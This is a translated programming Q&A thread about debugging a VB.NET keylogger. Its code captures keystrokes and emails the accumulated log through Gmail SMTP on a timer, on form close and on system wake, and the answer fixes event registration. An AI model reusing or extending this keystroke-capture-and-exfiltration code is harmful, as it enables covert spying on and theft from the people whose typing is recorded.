【问题标题】:Trying to add to string and send email on powermodechanged events尝试添加到字符串并在 powermodechanged 事件上发送电子邮件
【发布时间】:2014-01-09 16:13:44
【问题描述】:

我有一个用于监控我的网络的键盘记录程序,以确保没有人弄乱我的信息。我一直在尝试编写一项功能,该功能将添加到正在进行的日志中“系统暂停或恢复”,并通过 powermode.suspend 或 powermode.resume 上的电子邮件发送日志。我已经能够通过电子邮件发送日志,只是由于某种原因不在 powermodes 事件中。实际上,我的程序似乎没有在我的 powermodes 部分执行任何命令,它甚至不会将“系统睡眠”或“系统唤醒”行附加到日志中。这是我到目前为止的代码。任何人都可以帮助指出某种方向或解释正在发生的事情或我如何解决它?

我已经尝试在系统挂起部分放置一个发送电子邮件命令,但它给了我一个错误,说一旦系统恢复就无法发送。我可以在其他任何时间发送电子邮件日志。

Imports System.Net.Mail
Imports Microsoft.Win32

Public Class Form1
Dim WithEvents K As New Keyboard
Dim Append As String
Public Shared log As String

Public Sub Handler()
    AddHandler SystemEvents.PowerModeChanged, _
        AddressOf SystemEvents_PowerModeChanged
End Sub

Private Sub SystemEvents_PowerModeChanged(ByVal sender As Object, ByVal e As PowerModeChangedEventArgs)
    Select Case e.Mode
        Case PowerModes.Resume
            log = log + " <System Wake-Up> "
            SendMail()
            K.DiposeHook()
            K.CreateHook()
            log = ""
        Case PowerModes.Suspend
            log = log + " <System Sleep> "
    End Select
End Sub

Sub SendMail()
    Dim Mail As New MailMessage
    Mail.Subject = "Keylog"
    Mail.To.Add("***********")
    Mail.From = New MailAddress("***********")
    Mail.Body = log
    Dim SMTP As New SmtpClient("smpt.gmail.com")
    SMTP.Host = "smtp.gmail.com"
    SMTP.EnableSsl = True
    SMTP.Credentials = New System.Net.NetworkCredential("*********", "***********")
    SMTP.Port = "587"
    SMTP.Send(Mail)
End Sub

Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
    SendMail()
    K.DiposeHook()
End Sub

Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
    K.CreateHook()
End Sub

Private Sub K_Down(ByVal Key As String) Handles K.Down
    Append &= Key
    log &= Key
End Sub

Private Sub tmremail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmremail.Tick
    tmremail.Stop()

    SendMail()

    log = ""
    tmremail.Enabled = True
End Sub
End Class

编辑*

    Public Sub Handler()
    AddHandler SystemEvents.PowerModeChanged, _
        AddressOf SystemEvents_PowerModeChanged
End Sub
Public Sub New()
    Me.InitializeComponent()
    Me.Handler() '<- Invoke
End Sub
Private Sub SystemEvents_PowerModeChanged(ByVal sender As Object, ByVal e As PowerModeChangedEventArgs)
    Select Case e.Mode
        Case PowerModes.Resume
            log = log + " <System Wake-Up> "
            SendMail()
            K.DiposeHook()
            K.CreateHook()
            log = ""
        Case PowerModes.Suspend
            log = log + " <System Sleep> "
    End Select
End Sub

【问题讨论】:

  • 您在哪里/何时致电Handler()
  • 我怎么称呼它?我以为我只需要在公共子系统中声明它?
  • Handler() 中的代码不会运行,除非该方法被调用,因此没有添加事件。将Me.Handler() 添加到您的构造函数中。
  • 我很久以前就看过那个代码了...构建一个键盘记录器嗯? :p 请问您为什么要立即处理和安装键盘挂钩?此外,您应该学习如何使用线程。
  • @SomeNickName 我遇到了一个问题,即在计算机处于开机状态并且刚刚进入和退出睡眠状态之后,程序似乎停止记录按键(因此导致我在收到空白电子邮件时事实上,我知道那段时间有活动)。这就是为什么我要在计算机唤醒后再次处理和安装。这是一个很好的理由吗?还是有更好的方法来解决这个问题?

标签: vb.net email event-handling keylogger


【解决方案1】:

您的代码中没有调用Handler(),因此没有添加任何事件。像这样在您的构造函数中调用该方法:

Public Sub New()
    Me.InitializeComponent()
    Me.Handler() '<- Invoke
End Sub

【讨论】:

  • 谢谢,我现在正在尝试您的代码。我会在一分钟内回复你
  • 它在睡眠或唤醒时仍然没有任何作用
  • 等等,我说得太早了。它确实有效,只是延迟了几分钟。也许是因为系统必须花时间才能完全唤醒并获得互联网访问权限?
  • 好吧,那我们俩都说得太早了(见我在上面的评论.. :p)
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2021-03-18
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2017-09-22
  • 1970-01-01
  • 2017-10-30
相关资源
最近更新 更多